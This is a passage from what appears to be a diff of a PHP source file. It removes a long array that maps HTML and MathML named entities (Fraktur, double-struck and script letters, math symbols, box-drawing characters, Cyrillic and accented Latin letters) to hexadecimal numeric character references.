-	'Kfr' => '&#x1D50E;',
-	'kfr' => '&#x1D528;',
-	'Lfr' => '&#x1D50F;',
-	'lfr' => '&#x1D529;',
-	'Mfr' => '&#x1D510;',
-	'mfr' => '&#x1D52A;',
-	'Nfr' => '&#x1D511;',
-	'nfr' => '&#x1D52B;',
-	'Ofr' => '&#x1D512;',
-	'ofr' => '&#x1D52C;',
-	'Pfr' => '&#x1D513;',
-	'pfr' => '&#x1D52D;',
-	'Qfr' => '&#x1D514;',
-	'qfr' => '&#x1D52E;',
-	'Rfr' => '&#x0211C;',
-	'rfr' => '&#x1D52F;',
-	'Sfr' => '&#x1D516;',
-	'sfr' => '&#x1D530;',
-	'Tfr' => '&#x1D517;',
-	'tfr' => '&#x1D531;',
-	'Ufr' => '&#x1D518;',
-	'ufr' => '&#x1D532;',
-	'Vfr' => '&#x1D519;',
-	'vfr' => '&#x1D533;',
-	'Wfr' => '&#x1D51A;',
-	'wfr' => '&#x1D534;',
-	'Xfr' => '&#x1D51B;',
-	'xfr' => '&#x1D535;',
-	'Yfr' => '&#x1D51C;',
-	'yfr' => '&#x1D536;',
-	'Zfr' => '&#x02128;',
-	'zfr' => '&#x1D537;',
-	'Aopf' => '&#x1D538;',
-	'Bopf' => '&#x1D539;',
-	'Copf' => '&#x02102;',
-	'Dopf' => '&#x1D53B;',
-	'Eopf' => '&#x1D53C;',
-	'Fopf' => '&#x1D53D;',
-	'Gopf' => '&#x1D53E;',
-	'Hopf' => '&#x0210D;',
-	'Iopf' => '&#x1D540;',
-	'Jopf' => '&#x1D541;',
-	'Kopf' => '&#x1D542;',
-	'Lopf' => '&#x1D543;',
-	'Mopf' => '&#x1D544;',
-	'Nopf' => '&#x02115;',
-	'Oopf' => '&#x1D546;',
-	'Popf' => '&#x02119;',
-	'Qopf' => '&#x0211A;',
-	'Ropf' => '&#x0211D;',
-	'Sopf' => '&#x1D54A;',
-	'Topf' => '&#x1D54B;',
-	'Uopf' => '&#x1D54C;',
-	'Vopf' => '&#x1D54D;',
-	'Wopf' => '&#x1D54E;',
-	'Xopf' => '&#x1D54F;',
-	'Yopf' => '&#x1D550;',
-	'Zopf' => '&#x02124;',
-	'Ascr' => '&#x1D49C;',
-	'ascr' => '&#x1D4B6;',
-	'Bscr' => '&#x0212C;',
-	'bscr' => '&#x1D4B7;',
-	'Cscr' => '&#x1D49E;',
-	'cscr' => '&#x1D4B8;',
-	'Dscr' => '&#x1D49F;',
-	'dscr' => '&#x1D4B9;',
-	'Escr' => '&#x02130;',
-	'escr' => '&#x0212F;',
-	'Fscr' => '&#x02131;',
-	'fscr' => '&#x1D4BB;',
-	'Gscr' => '&#x1D4A2;',
-	'gscr' => '&#x0210A;',
-	'Hscr' => '&#x0210B;',
-	'hscr' => '&#x1D4BD;',
-	'Iscr' => '&#x02110;',
-	'iscr' => '&#x1D4BE;',
-	'Jscr' => '&#x1D4A5;',
-	'jscr' => '&#x1D4BF;',
-	'Kscr' => '&#x1D4A6;',
-	'kscr' => '&#x1D4C0;',
-	'Lscr' => '&#x02112;',
-	'lscr' => '&#x1D4C1;',
-	'Mscr' => '&#x02133;',
-	'mscr' => '&#x1D4C2;',
-	'Nscr' => '&#x1D4A9;',
-	'nscr' => '&#x1D4C3;',
-	'Oscr' => '&#x1D4AA;',
-	'oscr' => '&#x02134;',
-	'Pscr' => '&#x1D4AB;',
-	'pscr' => '&#x1D4C5;',
-	'Qscr' => '&#x1D4AC;',
-	'qscr' => '&#x1D4C6;',
-	'Rscr' => '&#x0211B;',
-	'rscr' => '&#x1D4C7;',
-	'Sscr' => '&#x1D4AE;',
-	'sscr' => '&#x1D4C8;',
-	'Tscr' => '&#x1D4AF;',
-	'tscr' => '&#x1D4C9;',
-	'Uscr' => '&#x1D4B0;',
-	'uscr' => '&#x1D4CA;',
-	'Vscr' => '&#x1D4B1;',
-	'vscr' => '&#x1D4CB;',
-	'Wscr' => '&#x1D4B2;',
-	'wscr' => '&#x1D4CC;',
-	'Xscr' => '&#x1D4B3;',
-	'xscr' => '&#x1D4CD;',
-	'Yscr' => '&#x1D4B4;',
-	'yscr' => '&#x1D4CE;',
-	'Zscr' => '&#x1D4B5;',
-	'zscr' => '&#x1D4CF;',
-	'acd' => '&#x0223F;',
-	'aleph' => '&#x02135;',
-	'And' => '&#x02A53;',
-	'and' => '&#x02227;',
-	'andand' => '&#x02A55;',
-	'andd' => '&#x02A5C;',
-	'andslope' => '&#x02A58;',
-	'andv' => '&#x02A5A;',
-	'angrt' => '&#x0221F;',
-	'angsph' => '&#x02222;',
-	'angst' => '&#x000C5;',
-	'ap' => '&#x02248;',
-	'apacir' => '&#x02A6F;',
-	'awconint' => '&#x02233;',
-	'awint' => '&#x02A11;',
-	'becaus' => '&#x02235;',
-	'bernou' => '&#x0212C;',
-	'bne' => '&#x0003D;&#x020E5;',
-	'bnequiv' => '&#x02261;&#x020E5;',
-	'bNot' => '&#x02AED;',
-	'bnot' => '&#x02310;',
-	'bottom' => '&#x022A5;',
-	'cap' => '&#x02229;',
-	'Cconint' => '&#x02230;',
-	'cirfnint' => '&#x02A10;',
-	'compfn' => '&#x02218;',
-	'cong' => '&#x02245;',
-	'Conint' => '&#x0222F;',
-	'conint' => '&#x0222E;',
-	'ctdot' => '&#x022EF;',
-	'cup' => '&#x0222A;',
-	'cwconint' => '&#x02232;',
-	'cwint' => '&#x02231;',
-	'cylcty' => '&#x0232D;',
-	'disin' => '&#x022F2;',
-	'Dot' => '&#x000A8;',
-	'DotDot' => '&#x020DC;',
-	'dsol' => '&#x029F6;',
-	'dtdot' => '&#x022F1;',
-	'dwangle' => '&#x029A6;',
-	'elinters' => '&#x023E7;',
-	'epar' => '&#x022D5;',
-	'eparsl' => '&#x029E3;',
-	'equiv' => '&#x02261;',
-	'eqvparsl' => '&#x029E5;',
-	'exist' => '&#x02203;',
-	'fltns' => '&#x025B1;',
-	'fnof' => '&#x00192;',
-	'forall' => '&#x02200;',
-	'fpartint' => '&#x02A0D;',
-	'ge' => '&#x02265;',
-	'hamilt' => '&#x0210B;',
-	'iff' => '&#x021D4;',
-	'iinfin' => '&#x029DC;',
-	'imped' => '&#x001B5;',
-	'infin' => '&#x0221E;',
-	'infintie' => '&#x029DD;',
-	'Int' => '&#x0222C;',
-	'int' => '&#x0222B;',
-	'intlarhk' => '&#x02A17;',
-	'isin' => '&#x02208;',
-	'isindot' => '&#x022F5;',
-	'isinE' => '&#x022F9;',
-	'isins' => '&#x022F4;',
-	'isinsv' => '&#x022F3;',
-	'isinv' => '&#x02208;',
-	'lagran' => '&#x02112;',
-	'Lang' => '&#x027EA;',
-	'lang' => '&#x027E8;',
-	'lArr' => '&#x021D0;',
-	'lbbrk' => '&#x02772;',
-	'le' => '&#x02264;',
-	'loang' => '&#x027EC;',
-	'lobrk' => '&#x027E6;',
-	'lopar' => '&#x02985;',
-	'lowast' => '&#x02217;',
-	'minus' => '&#x02212;',
-	'mnplus' => '&#x02213;',
-	'nabla' => '&#x02207;',
-	'ne' => '&#x02260;',
-	'nedot' => '&#x02250;&#x00338;',
-	'nhpar' => '&#x02AF2;',
-	'ni' => '&#x0220B;',
-	'nis' => '&#x022FC;',
-	'nisd' => '&#x022FA;',
-	'niv' => '&#x0220B;',
-	'Not' => '&#x02AEC;',
-	'notin' => '&#x02209;',
-	'notindot' => '&#x022F5;&#x00338;',
-	'notinE' => '&#x022F9;&#x00338;',
-	'notinva' => '&#x02209;',
-	'notinvb' => '&#x022F7;',
-	'notinvc' => '&#x022F6;',
-	'notni' => '&#x0220C;',
-	'notniva' => '&#x0220C;',
-	'notnivb' => '&#x022FE;',
-	'notnivc' => '&#x022FD;',
-	'nparsl' => '&#x02AFD;&#x020E5;',
-	'npart' => '&#x02202;&#x00338;',
-	'npolint' => '&#x02A14;',
-	'nvinfin' => '&#x029DE;',
-	'olcross' => '&#x029BB;',
-	'Or' => '&#x02A54;',
-	'or' => '&#x02228;',
-	'ord' => '&#x02A5D;',
-	'order' => '&#x02134;',
-	'oror' => '&#x02A56;',
-	'orslope' => '&#x02A57;',
-	'orv' => '&#x02A5B;',
-	'par' => '&#x02225;',
-	'parsl' => '&#x02AFD;',
-	'part' => '&#x02202;',
-	'permil' => '&#x02030;',
-	'perp' => '&#x022A5;',
-	'pertenk' => '&#x02031;',
-	'phmmat' => '&#x02133;',
-	'pointint' => '&#x02A15;',
-	'Prime' => '&#x02033;',
-	'prime' => '&#x02032;',
-	'profalar' => '&#x0232E;',
-	'profline' => '&#x02312;',
-	'profsurf' => '&#x02313;',
-	'prop' => '&#x0221D;',
-	'qint' => '&#x02A0C;',
-	'qprime' => '&#x02057;',
-	'quatint' => '&#x02A16;',
-	'radic' => '&#x0221A;',
-	'Rang' => '&#x027EB;',
-	'rang' => '&#x027E9;',
-	'rArr' => '&#x021D2;',
-	'rbbrk' => '&#x02773;',
-	'roang' => '&#x027ED;',
-	'robrk' => '&#x027E7;',
-	'ropar' => '&#x02986;',
-	'rppolint' => '&#x02A12;',
-	'scpolint' => '&#x02A13;',
-	'sim' => '&#x0223C;',
-	'simdot' => '&#x02A6A;',
-	'sime' => '&#x02243;',
-	'smeparsl' => '&#x029E4;',
-	'square' => '&#x025A1;',
-	'squarf' => '&#x025AA;',
-	'strns' => '&#x000AF;',
-	'sub' => '&#x02282;',
-	'sube' => '&#x02286;',
-	'sup' => '&#x02283;',
-	'supe' => '&#x02287;',
-	'tdot' => '&#x020DB;',
-	'there4' => '&#x02234;',
-	'tint' => '&#x0222D;',
-	'top' => '&#x022A4;',
-	'topbot' => '&#x02336;',
-	'topcir' => '&#x02AF1;',
-	'tprime' => '&#x02034;',
-	'utdot' => '&#x022F0;',
-	'uwangle' => '&#x029A7;',
-	'vangrt' => '&#x0299C;',
-	'veeeq' => '&#x0225A;',
-	'Verbar' => '&#x02016;',
-	'wedgeq' => '&#x02259;',
-	'xnis' => '&#x022FB;',
-	'boxDL' => '&#x02557;',
-	'boxDl' => '&#x02556;',
-	'boxdL' => '&#x02555;',
-	'boxdl' => '&#x02510;',
-	'boxDR' => '&#x02554;',
-	'boxDr' => '&#x02553;',
-	'boxdR' => '&#x02552;',
-	'boxdr' => '&#x0250C;',
-	'boxH' => '&#x02550;',
-	'boxh' => '&#x02500;',
-	'boxHD' => '&#x02566;',
-	'boxHd' => '&#x02564;',
-	'boxhD' => '&#x02565;',
-	'boxhd' => '&#x0252C;',
-	'boxHU' => '&#x02569;',
-	'boxHu' => '&#x02567;',
-	'boxhU' => '&#x02568;',
-	'boxhu' => '&#x02534;',
-	'boxUL' => '&#x0255D;',
-	'boxUl' => '&#x0255C;',
-	'boxuL' => '&#x0255B;',
-	'boxul' => '&#x02518;',
-	'boxUR' => '&#x0255A;',
-	'boxUr' => '&#x02559;',
-	'boxuR' => '&#x02558;',
-	'boxur' => '&#x02514;',
-	'boxV' => '&#x02551;',
-	'boxv' => '&#x02502;',
-	'boxVH' => '&#x0256C;',
-	'boxVh' => '&#x0256B;',
-	'boxvH' => '&#x0256A;',
-	'boxvh' => '&#x0253C;',
-	'boxVL' => '&#x02563;',
-	'boxVl' => '&#x02562;',
-	'boxvL' => '&#x02561;',
-	'boxvl' => '&#x02524;',
-	'boxVR' => '&#x02560;',
-	'boxVr' => '&#x0255F;',
-	'boxvR' => '&#x0255E;',
-	'boxvr' => '&#x0251C;',
-	'Acy' => '&#x00410;',
-	'acy' => '&#x00430;',
-	'Bcy' => '&#x00411;',
-	'bcy' => '&#x00431;',
-	'CHcy' => '&#x00427;',
-	'chcy' => '&#x00447;',
-	'Dcy' => '&#x00414;',
-	'dcy' => '&#x00434;',
-	'Ecy' => '&#x0042D;',
-	'ecy' => '&#x0044D;',
-	'Fcy' => '&#x00424;',
-	'fcy' => '&#x00444;',
-	'Gcy' => '&#x00413;',
-	'gcy' => '&#x00433;',
-	'HARDcy' => '&#x0042A;',
-	'hardcy' => '&#x0044A;',
-	'Icy' => '&#x00418;',
-	'icy' => '&#x00438;',
-	'IEcy' => '&#x00415;',
-	'iecy' => '&#x00435;',
-	'IOcy' => '&#x00401;',
-	'iocy' => '&#x00451;',
-	'Jcy' => '&#x00419;',
-	'jcy' => '&#x00439;',
-	'Kcy' => '&#x0041A;',
-	'kcy' => '&#x0043A;',
-	'KHcy' => '&#x00425;',
-	'khcy' => '&#x00445;',
-	'Lcy' => '&#x0041B;',
-	'lcy' => '&#x0043B;',
-	'Mcy' => '&#x0041C;',
-	'mcy' => '&#x0043C;',
-	'Ncy' => '&#x0041D;',
-	'ncy' => '&#x0043D;',
-	'numero' => '&#x02116;',
-	'Ocy' => '&#x0041E;',
-	'ocy' => '&#x0043E;',
-	'Pcy' => '&#x0041F;',
-	'pcy' => '&#x0043F;',
-	'Rcy' => '&#x00420;',
-	'rcy' => '&#x00440;',
-	'Scy' => '&#x00421;',
-	'scy' => '&#x00441;',
-	'SHCHcy' => '&#x00429;',
-	'shchcy' => '&#x00449;',
-	'SHcy' => '&#x00428;',
-	'shcy' => '&#x00448;',
-	'SOFTcy' => '&#x0042C;',
-	'softcy' => '&#x0044C;',
-	'Tcy' => '&#x00422;',
-	'tcy' => '&#x00442;',
-	'TScy' => '&#x00426;',
-	'tscy' => '&#x00446;',
-	'Ucy' => '&#x00423;',
-	'ucy' => '&#x00443;',
-	'Vcy' => '&#x00412;',
-	'vcy' => '&#x00432;',
-	'YAcy' => '&#x0042F;',
-	'yacy' => '&#x0044F;',
-	'Ycy' => '&#x0042B;',
-	'ycy' => '&#x0044B;',
-	'YUcy' => '&#x0042E;',
-	'yucy' => '&#x0044E;',
-	'Zcy' => '&#x00417;',
-	'zcy' => '&#x00437;',
-	'ZHcy' => '&#x00416;',
-	'zhcy' => '&#x00436;',
-	'DJcy' => '&#x00402;',
-	'djcy' => '&#x00452;',
-	'DScy' => '&#x00405;',
-	'dscy' => '&#x00455;',
-	'DZcy' => '&#x0040F;',
-	'dzcy' => '&#x0045F;',
-	'GJcy' => '&#x00403;',
-	'gjcy' => '&#x00453;',
-	'Iukcy' => '&#x00406;',
-	'iukcy' => '&#x00456;',
-	'Jsercy' => '&#x00408;',
-	'jsercy' => '&#x00458;',
-	'Jukcy' => '&#x00404;',
-	'jukcy' => '&#x00454;',
-	'KJcy' => '&#x0040C;',
-	'kjcy' => '&#x0045C;',
-	'LJcy' => '&#x00409;',
-	'ljcy' => '&#x00459;',
-	'NJcy' => '&#x0040A;',
-	'njcy' => '&#x0045A;',
-	'TSHcy' => '&#x0040B;',
-	'tshcy' => '&#x0045B;',
-	'Ubrcy' => '&#x0040E;',
-	'ubrcy' => '&#x0045E;',
-	'YIcy' => '&#x00407;',
-	'yicy' => '&#x00457;',
-	'acute' => '&#x000B4;',
-	'breve' => '&#x002D8;',
-	'caron' => '&#x002C7;',
-	'cedil' => '&#x000B8;',
-	'circ' => '&#x002C6;',
-	'dblac' => '&#x002DD;',
-	'die' => '&#x000A8;',
-	'dot' => '&#x002D9;',
-	'grave' => '&#x00060;',
-	'macr' => '&#x000AF;',
-	'ogon' => '&#x002DB;',
-	'ring' => '&#x002DA;',
-	'tilde' => '&#x002DC;',
-	'uml' => '&#x000A8;',
-	'Aacute' => '&#x000C1;',
-	'aacute' => '&#x000E1;',
-	'Acirc' => '&#x000C2;',
-	'acirc' => '&#x000E2;',
-	'AElig' => '&#x000C6;',
-	'aelig' => '&#x000E6;',
-	'Agrave' => '&#x000C0;',
-	'agrave' => '&#x000E0;',
-	'Aring' => '&#x000C5;',
-	'aring' => '&#x000E5;',
-	'Atilde' => '&#x000C3;',
-	'atilde' => '&#x000E3;',
-	'Auml' => '&#x000C4;',
-	'auml' => '&#x000E4;',
-	'Ccedil' => '&#x000C7;',
-	'ccedil' => '&#x000E7;',
-	'Eacute' => '&#x000C9;',
-	'eacute' => '&#x000E9;',
-	'Ecirc' => '&#x000CA;',
-	'ecirc' => '&#x000EA;',
-	'Egrave' => '&#x000C8;',
-	'egrave' => '&#x000E8;',
-	'ETH' => '&#x000D0;',
-	'eth' => '&#x000F0;',
-	'Euml' => '&#x000CB;',
-	'euml' => '&#x000EB;',
-	'Iacute' => '&#x000CD;',
-	'iacute' => '&#x000ED;',
-	'Icirc' => '&#x000CE;',
-	'icirc' => '&#x000EE;',
-	'Igrave' => '&#x000CC;',
-	'igrave' => '&#x000EC;',
-	'Iuml' => '&#x000CF;',
-	'iuml' => '&#x000EF;',
-	'Ntilde' => '&#x000D1;',
-	'ntilde' => '&#x000F1;',
-	'Oacute' => '&#x000D3;',
-	'oacute' => '&#x000F3;',
-	'Ocirc' => '&#x000D4;',
-	'ocirc' => '&#x000F4;',
-	'Ograve' => '&#x000D2;',
-	'ograve' => '&#x000F2;',
-	'Oslash' => '&#x000D8;',
-	'oslash' => '&#x000F8;',
-	'Otilde' => '&#x000D5;',
-	'otilde' => '&#x000F5;',
-	'Ouml' => '&#x000D6;',
-	'ouml' => '&#x000F6;',
-	'szlig' => '&#x000DF;',
-	'THORN' => '&#x000DE;',
-	'thorn' => '&#x000FE;',
-	'Uacute' => '&#x000DA;',
-	'uacute' => '&#x000FA;',
-	'Ucirc' => '&#x000DB;',
-	'ucirc' => '&#x000FB;',
-	'Ugrave' => '&#x000D9;',
-	'ugrave' => '&#x000F9;',
-	'Uuml' => '&#x000DC;',
-	'uuml' => '&#x000FC;',
-	'Yacute' => '&#x000DD;',
-	'yacute' => '&#x000FD;',
-	'yuml' => '&#x000FF;',
-	'Abreve' => '&#x00102;',
-	'abreve' => '&#x00103;',
-	'Amacr' => '&#x00100;',
-	'amacr' => '&#x00101;',
-	'Aogon' => '&#x00104;',
-	'aogon' => '&#x00105;',
-	'Cacute' => '&#x00106;',
-	'cacute' => '&#x00107;',
-	'Ccaron' => '&#x0010C;',
-	'ccaron' => '&#x0010D;',
-	'Ccirc' => '&#x00108;',
-	'ccirc' => '&#x00109;',
-	'Cdot' => '&#x0010A;',
-	'cdot' => '&#x0010B;',
-	'Dcaron' => '&#x0010E;',
-	'dcaron' => '&#x0010F;',
-	'Dstrok' => '&#x00110;',
-	'dstrok' => '&#x00111;',
-	'Ecaron' => '&#x0011A;',
-	'ecaron' => '&#x0011B;',
-	'Edot' => '&#x00116;',
-	'edot' => '&#x00117;',
-	'Emacr' => '&#x00112;',
-	'emacr' => '&#x00113;',
-	'ENG' => '&#x0014A;',
-	'eng' => '&#x0014B;',
-	'Eogon' => '&#x00118;',
-	'eogon' => '&#x00119;',
-	'gacute' => '&#x001F5;',
-	'Gbreve' => '&#x0011E;',
-	'gbreve' => '&#x0011F;',
-	'Gcedil' => '&#x00122;',
-	'Gcirc' => '&#x0011C;',
-	'gcirc' => '&#x0011D;',
-	'Gdot' => '&#x00120;',
-	'gdot' => '&#x00121;',
-	'Hcirc' => '&#x00124;',
-	'hcirc' => '&#x00125;',
-	'Hstrok' => '&#x00126;',
-	'hstrok' => '&#x00127;',
-	'Idot' => '&#x00130;',
-	'IJlig' => '&#x00132;',
-	'ijlig' => '&#x00133;',
-	'Imacr' => '&#x0012A;',
-	'imacr' => '&#x0012B;',
-	'inodot' => '&#x00131;',
-	'Iogon' => '&#x0012E;',
-	'iogon' => '&#x0012F;',
-	'Itilde' => '&#x00128;',
-	'itilde' => '&#x00129;',
-	'Jcirc' => '&#x00134;',
-	'jcirc' => '&#x00135;',
-	'Kcedil' => '&#x00136;',
-	'kcedil' => '&#x00137;',
-	'kgreen' => '&#x00138;',
-	'Lacute' => '&#x00139;',
-	'lacute' => '&#x0013A;',
-	'Lcaron' => '&#x0013D;',
-	'lcaron' => '&#x0013E;',
-	'Lcedil' => '&#x0013B;',
-	'lcedil' => '&#x0013C;',
-	'Lmidot' => '&#x0013F;',
-	'lmidot' => '&#x00140;',
-	'Lstrok' => '&#x00141;',
-	'lstrok' => '&#x00142;',
-	'Nacute' => '&#x00143;',
-	'nacute' => '&#x00144;',
-	'napos' => '&#x00149;',
-	'Ncaron' => '&#x00147;',
-	'ncaron' => '&#x00148;',
-	'Ncedil' => '&#x00145;',
-	'ncedil' => '&#x00146;',
-	'Odblac' => '&#x00150;',
-	'odblac' => '&#x00151;',
-	'OElig' => '&#x00152;',
-	'oelig' => '&#x00153;',
-	'Omacr' => '&#x0014C;',
-	'omacr' => '&#x0014D;',
-	'Racute' => '&#x00154;',
-	'racute' => '&#x00155;',
-	'Rcaron' => '&#x00158;',
-	'rcaron' => '&#x00159;',
-	'Rcedil' => '&#x00156;',
-	'rcedil' => '&#x00157;',
-	'Sacute' => '&#x0015A;',
-	'sacute' => '&#x0015B;',
-	'Scaron' => '&#x00160;',
-	'scaron' => '&#x00161;',
-	'Scedil' => '&#x0015E;',
-	'scedil' => '&#x0015F;',
-	'Scirc' => '&#x0015C;',
-	'scirc' => '&#x0015D;',
-	'Tcaron' => '&#x00164;',
-	'tcaron' => '&#x00165;',
-	'Tcedil' => '&#x00162;',
-	'tcedil' => '&#x00163;',
-	'Tstrok' => '&#x00166;',
-	'tstrok' => '&#x00167;',
-	'Ubreve' => '&#x0016C;',
-	'ubreve' => '&#x0016D;',
-	'Udblac' => '&#x00170;',
-	'udblac' => '&#x00171;',
-	'Umacr' => '&#x0016A;',
-	'umacr' => '&#x0016B;',
-	'Uogon' => '&#x00172;',
-	'uogon' => '&#x00173;',
-	'Uring' => '&#x0016E;',
-	'uring' => '&#x0016F;',
-	'Utilde' => '&#x00168;',
-	'utilde' => '&#x00169;',
-	'Wcirc' => '&#x00174;',
-	'wcirc' => '&#x00175;',
-	'Ycirc' => '&#x00176;',
-	'ycirc' => '&#x00177;',
-	'Yuml' => '&#x00178;',
-	'Zacute' => '&#x00179;',
-	'zacute' => '&#x0017A;',
-	'Zcaron' => '&#x0017D;',
-	'zcaron' => '&#x0017E;',
-	'Zdot' => '&#x0017B;',
-	'zdot' => '&#x0017C;',
-	'apos' => '&#x00027;',
-	'ast' => '&#x0002A;',
-	'brvbar' => '&#x000A6;',
-	'bsol' => '&#x0005C;',
-	'cent' => '&#x000A2;',
-	'colon' => '&#x0003A;',
-	'comma' => '&#x0002C;',
-	'commat' => '&#x00040;',
-	'copy' => '&#x000A9;',
-	'curren' => '&#x000A4;',
-	'darr' => '&#x02193;',
-	'deg' => '&#x000B0;',
-	'divide' => '&#x000F7;',
-	'dollar' => '&#x00024;',
-	'equals' => '&#x0003D;',
-	'excl' => '&#x00021;',
-	'frac12' => '&#x000BD;',
-	'frac14' => '&#x000BC;',
-	'frac18' => '&#x0215B;',
-	'frac34' => '&#x000BE;',
-	'frac38' => '&#x0215C;',
-	'frac58' => '&#x0215D;',
-	'frac78' => '&#x0215E;',
-	'gt' => '&#x0003E;',
-	'half' => '&#x000BD;',
-	'horbar' => '&#x02015;',
-	'hyphen' => '&#x02010;',
-	'iexcl' => '&#x000A1;',
-	'iquest' => '&#x000BF;',
-	'laquo' => '&#x000AB;',
-	'larr' => '&#x02190;',
-	'lcub' => '&#x0007B;',
-	'ldquo' => '&#x0201C;',
-	'lowbar' => '&#x0005F;',
-	'lpar' => '&#x00028;',
-	'lsqb' => '&#x0005B;',
-	'lsquo' => '&#x02018;',
-	'micro' => '&#x000B5;',
-	'middot' => '&#x000B7;',
-	'nbsp' => '&#x000A0;',
-	'not' => '&#x000AC;',
-	'num' => '&#x00023;',
-	'ohm' => '&#x03A9;',
-	'ordf' => '&#x000AA;',
-	'ordm' => '&#x000BA;',
-	'para' => '&#x000B6;',
-	'percnt' => '&#x00025;',
-	'period' => '&#x0002E;',
-	'plus' => '&#x0002B;',
-	'plusmn' => '&#x000B1;',
-	'pound' => '&#x000A3;',
-	'quest' => '&#x0003F;',
-	'quot' => '&#x00022;',
-	'raquo' => '&#x000BB;',
-	'rarr' => '&#x02192;',
-	'rcub' => '&#x0007D;',
-	'rdquo' => '&#x0201D;',
-	'reg' => '&#x000AE;',
-	'rpar' => '&#x00029;',
-	'rsqb' => '&#x0005D;',
-	'rsquo' => '&#x02019;',
-	'sect' => '&#x000A7;',
-	'semi' => '&#x0003B;',
-	'shy' => '&#x000AD;',
-	'sol' => '&#x0002F;',
-	'sung' => '&#x0266A;',
-	'sup1' => '&#x000B9;',
-	'sup2' => '&#x000B2;',
-	'sup3' => '&#x000B3;',
-	'times' => '&#x000D7;',
-	'trade' => '&#x02122;',
-	'uarr' => '&#x02191;',
-	'verbar' => '&#x0007C;',
-	'yen' => '&#x000A5;',
-	'blank' => '&#x02423;',
-	'blk12' => '&#x02592;',
-	'blk14' => '&#x02591;',
-	'blk34' => '&#x02593;',
-	'block' => '&#x02588;',
-	'bull' => '&#x02022;',
-	'caret' => '&#x02041;',
-	'check' => '&#x02713;',
-	'cir' => '&#x025CB;',
-	'clubs' => '&#x02663;',
-	'copysr' => '&#x02117;',
-	'cross' => '&#x02717;',
-	'Dagger' => '&#x02021;',
-	'dagger' => '&#x02020;',
-	'dash' => '&#x02010;',
-	'diams' => '&#x02666;',
-	'dlcrop' => '&#x0230D;',
-	'drcrop' => '&#x0230C;',
-	'dtri' => '&#x025BF;',
-	'dtrif' => '&#x025BE;',
-	'emsp' => '&#x02003;',
-	'emsp13' => '&#x02004;',
-	'emsp14' => '&#x02005;',
-	'ensp' => '&#x02002;',
-	'female' => '&#x02640;',
-	'ffilig' => '&#x0FB03;',
-	'fflig' => '&#x0FB00;',
-	'ffllig' => '&#x0FB04;',
-	'filig' => '&#x0FB01;',
-	'fjlig' => '&#x00066;&#x0006A;',
-	'flat' => '&#x0266D;',
-	'fllig' => '&#x0FB02;',
-	'frac13' => '&#x02153;',
-	'frac15' => '&#x02155;',
-	'frac16' => '&#x02159;',
-	'frac23' => '&#x02154;',
-	'frac25' => '&#x02156;',
-	'frac35' => '&#x02157;',
-	'frac45' => '&#x02158;',
-	'frac56' => '&#x0215A;',
-	'hairsp' => '&#x0200A;',
-	'hearts' => '&#x02665;',
-	'hellip' => '&#x02026;',
-	'hybull' => '&#x02043;',
-	'incare' => '&#x02105;',
-	'ldquor' => '&#x0201E;',
-	'lhblk' => '&#x02584;',
-	'loz' => '&#x025CA;',
-	'lozf' => '&#x029EB;',
-	'lsquor' => '&#x0201A;',
-	'ltri' => '&#x025C3;',
-	'ltrif' => '&#x025C2;',
-	'male' => '&#x02642;',
-	'malt' => '&#x02720;',
-	'marker' => '&#x025AE;',
-	'mdash' => '&#x02014;',
-	'mldr' => '&#x02026;',
-	'natur' => '&#x0266E;',
-	'ndash' => '&#x02013;',
-	'nldr' => '&#x02025;',
-	'numsp' => '&#x02007;',
-	'phone' => '&#x0260E;',
-	'puncsp' => '&#x02008;',
-	'rdquor' => '&#x0201D;',
-	'rect' => '&#x025AD;',
-	'rsquor' => '&#x02019;',
-	'rtri' => '&#x025B9;',
-	'rtrif' => '&#x025B8;',
-	'rx' => '&#x0211E;',
-	'sext' => '&#x02736;',
-	'sharp' => '&#x0266F;',
-	'spades' => '&#x02660;',
-	'squ' => '&#x025A1;',
-	'squf' => '&#x025AA;',
-	'star' => '&#x02606;',
-	'starf' => '&#x02605;',
-	'target' => '&#x02316;',
-	'telrec' => '&#x02315;',
-	'thinsp' => '&#x02009;',
-	'uhblk' => '&#x02580;',
-	'ulcrop' => '&#x0230F;',
-	'urcrop' => '&#x0230E;',
-	'utri' => '&#x025B5;',
-	'utrif' => '&#x025B4;',
-	'vellip' => '&#x022EE;',
-	'af' => '&#x02061;',
-	'aopf' => '&#x1D552;',
-	'asympeq' => '&#x0224D;',
-	'bopf' => '&#x1D553;',
-	'copf' => '&#x1D554;',
-	'Cross' => '&#x02A2F;',
-	'DD' => '&#x02145;',
-	'dd' => '&#x02146;',
-	'dopf' => '&#x1D555;',
-	'DownArrowBar' => '&#x02913;',
-	'DownBreve' => '&#x00311;',
-	'DownLeftRightVector' => '&#x02950;',
-	'DownLeftTeeVector' => '&#x0295E;',
-	'DownLeftVectorBar' => '&#x02956;',
-	'DownRightTeeVector' => '&#x0295F;',
-	'DownRightVectorBar' => '&#x02957;',
-	'ee' => '&#x02147;',
-	'EmptySmallSquare' => '&#x025FB;',
-	'EmptyVerySmallSquare' => '&#x025AB;',
-	'eopf' => '&#x1D556;',
-	'Equal' => '&#x02A75;',
-	'FilledSmallSquare' => '&#x025FC;',
-	'FilledVerySmallSquare' => '&#x025AA;',
-	'fopf' => '&#x1D557;',
-	'gopf' => '&#x1D558;',
-	'GreaterGreater' => '&#x02AA2;',
-	'Hat' => '&#x0005E;',
-	'hopf' => '&#x1D559;',
-	'HorizontalLine' => '&#x02500;',
-	'ic' => '&#x02063;',
-	'ii' => '&#x02148;',
-	'iopf' => '&#x1D55A;',
-	'it' => '&#x02062;',
-	'jopf' => '&#x1D55B;',
-	'kopf' => '&#x1D55C;',
-	'larrb' => '&#x021E4;',
-	'LeftDownTeeVector' => '&#x02961;',
-	'LeftDownVectorBar' => '&#x02959;',
-	'LeftRightVector' => '&#x0294E;',
-	'LeftTeeVector' => '&#x0295A;',
-	'LeftTriangleBar' => '&#x029CF;',
-	'LeftUpDownVector' => '&#x02951;',
-	'LeftUpTeeVector' => '&#x02960;',
-	'LeftUpVectorBar' => '&#x02958;',
-	'LeftVectorBar' => '&#x02952;',
-	'LessLess' => '&#x02AA1;',
-	'lopf' => '&#x1D55D;',
-	'mapstodown' => '&#x021A7;',
-	'mapstoleft' => '&#x021A4;',
-	'mapstoup' => '&#x021A5;',
-	'MediumSpace' => '&#x0205F;',
-	'mopf' => '&#x1D55E;',
-	'nbump' => '&#x0224E;&#x00338;',
-	'nbumpe' => '&#x0224F;&#x00338;',
-	'nesim' => '&#x02242;&#x00338;',
-	'NewLine' => '&#x0000A;',
-	'NoBreak' => '&#x02060;',
-	'nopf' => '&#x1D55F;',
-	'NotCupCap' => '&#x0226D;',
